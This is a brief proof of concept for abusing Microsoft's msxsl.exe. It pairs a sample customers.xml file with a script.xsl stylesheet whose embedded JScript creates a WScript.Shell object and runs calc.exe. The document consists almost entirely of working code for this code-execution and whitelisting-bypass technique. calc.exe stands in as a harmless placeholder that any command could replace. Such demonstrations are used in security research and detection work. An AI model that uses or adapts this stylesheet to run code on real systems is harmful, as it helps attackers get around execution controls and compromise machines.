msxsl.exe Proof Of Concept

customers.xml

<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="script.xsl" ?>
<customers>
   <customer>
      <name>John Smith</name>
      <address>123 Elm St.</address>
      <phone>(123) 456-7890</phone>
   </customer>
   <customer>
      <name>Mary Jones</name>
      <address>456 Oak Ave.</address>
      <phone>(156) 789-0123</phone>
   </customer>
</customers>

script.xsl

<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
      xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
      xmlns:msxsl="urn:schemas-microsoft-com:xslt"
      xmlns:user="http://mycompany.com/mynamespace">

<msxsl:script language="JScript" implements-prefix="user">
   function xml(nodelist) {
	var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
      return nodelist.nextNode().xml;
	  
   }
</msxsl:script>
<xsl:template match="/">
   <xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>